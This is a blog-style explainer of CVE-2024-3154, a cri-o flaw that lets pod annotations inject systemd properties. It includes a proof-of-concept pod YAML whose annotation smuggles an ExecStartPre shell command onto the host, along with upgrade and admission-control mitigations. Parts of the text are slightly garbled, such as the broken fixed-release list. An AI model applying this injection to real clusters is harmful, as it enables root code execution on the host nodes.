CVE-2024-3154 - Breaking Down the cri-o Pod Annotation Injection Vulnerability

In April 2024, a critical vulnerability was discovered in cri-o, a popular container runtime for Kubernetes. Tracked as CVE-2024-3154, this flaw allows any user who can create a pod with a custom annotation to execute almost any action on the host system. In simple terms: attackers can take over the host just by crafting a special pod.

This post dives deep into what happened, how it works, and how you can verify (and protect) yourself. We’ll look at code, real-world impact, exploit details, and references — all in plain language for engineers and operators.

What is cri-o and Why Should You Care?

cri-o is a lightweight container runtime specifically designed for Kubernetes. It’s the glue between Kubernetes and tools like runc or podman which actually "run" containers. Because cri-o runs with a lot of power (it talks directly to the host's Docker or runc), any bug can be pretty severe.

What is CVE-2024-3154?

A flaw was found in cri-o that lets users inject *arbitrary systemd properties* by setting a special annotation on their pod. This might sound technical, but here it means: if someone can create a pod, they can trick cri-o into doing things as root on the host.

Official Advisory

- GitHub Advisory: GHSA-wf79-hm52-3f2q
- Red Hat Bugzilla

Anyone running cri-o ≤ v1.28.2 (before the patch)

- Kubernetes clusters where *any* user (including compromised service accounts) can create pods with annotations

Why is This So Dangerous?

Normally, Kubernetes _isolates_ workloads. Pods shouldn’t change anything on the host except their own containers. But by abusing systemd properties, an attacker can manipulate pod sandboxes and even run arbitrary commands right on the host with elevated privileges.

How Did It Happen?

1. cri-o lets you set systemd properties for your pods (as used for cgroup management and system resource limits).
2. cri-o pulls the key/value pairs from Pod annotations without sanitizing what properties are allowed.
3. An attacker specifies properties like ExecStartPre or ExecStartPost — which run _commands_ — in the annotation.
4. The systemd unit (which starts pods) accepts these and _runs attacker’s code with root privileges_.

Step 1: The attacker crafts a pod YAML

apiVersion: v1
kind: Pod
metadata:
  name: exploit-pod
  annotations:
    io.kubernetes.cri-o.SystemdProperty: "ExecStartPre=/bin/sh -c 'touch /tmp/pwned'"
spec:
  containers:
    - name: safe-ctr
      image: busybox
      command: ["sleep", "360"]

Step 2: Apply the pod

kubectl apply -f exploit-pod.yaml

Step 3: cri-o converts the annotation and passes it to the host systemd generator.

Step 4: The host’s systemd service, starting this pod’s cgroup, runs

/bin/sh -c 'touch /tmp/pwned'

Result: /tmp/pwned is created on the *host*, not inside the container.

#### Replace touch /tmp/pwned with anything, and you’ve got remote code execution as root.

Upgrade cri-o:

- Fixed releases

1.27.7

2. Limit who can create pods with annotations, or scrub dangerous annotations in admission controllers.

References and Further Reading

- CRI-O Security Advisory GHSA-wf79-hm52-3f2q
- Red Hat Security Bug 227286
- Mitre CVE Entry
- Upstream fix PR

Final Words

CVE-2024-3154 is a classic example of a small oversight with huge consequences. If you use cri-o in production, upgrade immediately and audit your RBAC policies. Don’t let attackers own your nodes with a single pod.

If you want to dig deeper or test your clusters, check the official advisory and experiment (in a safe, non-production environment!).

Timeline

Published on: 04/26/2024 04:15:09 UTC
Last modified on: 05/16/2024 23:15:50 UTC